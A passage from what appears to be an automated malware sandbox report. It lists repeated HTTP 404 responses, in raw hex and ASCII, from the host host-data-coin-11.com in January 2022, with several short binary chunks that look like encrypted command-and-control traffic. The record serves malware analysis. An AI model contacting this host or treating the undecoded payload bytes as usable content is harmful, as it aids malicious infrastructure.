20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 